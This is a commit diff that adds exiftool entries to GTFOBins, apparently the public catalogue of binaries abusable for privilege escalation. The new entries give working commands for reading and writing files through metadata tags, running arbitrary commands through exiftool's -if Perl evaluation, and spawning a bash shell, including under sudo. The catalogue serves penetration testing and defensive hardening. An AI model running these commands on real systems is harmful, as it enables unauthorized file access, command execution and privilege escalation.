Add more exiftool commands

Author: zerodivisi0n

_gtfobins/exiftool.md

@@ -8,14 +8,38 @@ functions:
         OUTPUT=output_file
         exiftool -filename=$OUTPUT $LFILE
         cat $OUTPUT
+    - description: Exfiltrate file data via metadata tags
+      code: |
+        LFILE=file_read
+        INPUT=input_file
+        exiftool "-description<=$LFILE" --filename $INPUT
   file-write:
     - code: |
         LFILE=file_to_write
         INPUT=input_file
         exiftool -filename=$LFILE $INPUT
+    - description: Write file from metadata tag's content
+      code: |
+        LFILE=file_to_write
+        INPUT=input_file
+        exiftool -description -W $LFILE --filename $INPUT
   sudo:
     - code: |
         LFILE=file_to_write
         INPUT=input_file
         sudo exiftool -filename=$LFILE $INPUT
+  command:
+    - code: |
+        COMMAND=command_to_execute
+        INPUT=input_file
+        exiftool -if "system('$COMMAND');1" --filename $INPUT
+    - description: Run system command and exfiltrate result via metadata tags
+      code: |
+        COMMAND=command_to_execute
+        INPUT=input_file
+        exiftool -userparam "inj=Test" -if "\$\$self{OPTIONS}{UserParam}{inj}=\`$COMMAND\`;1" '-description<$inj' --filename $INPUT
+  shell:
+    - code: |
+      INPUT=input_file
+      exiftool -if "system('bash')" $INPUT
 ---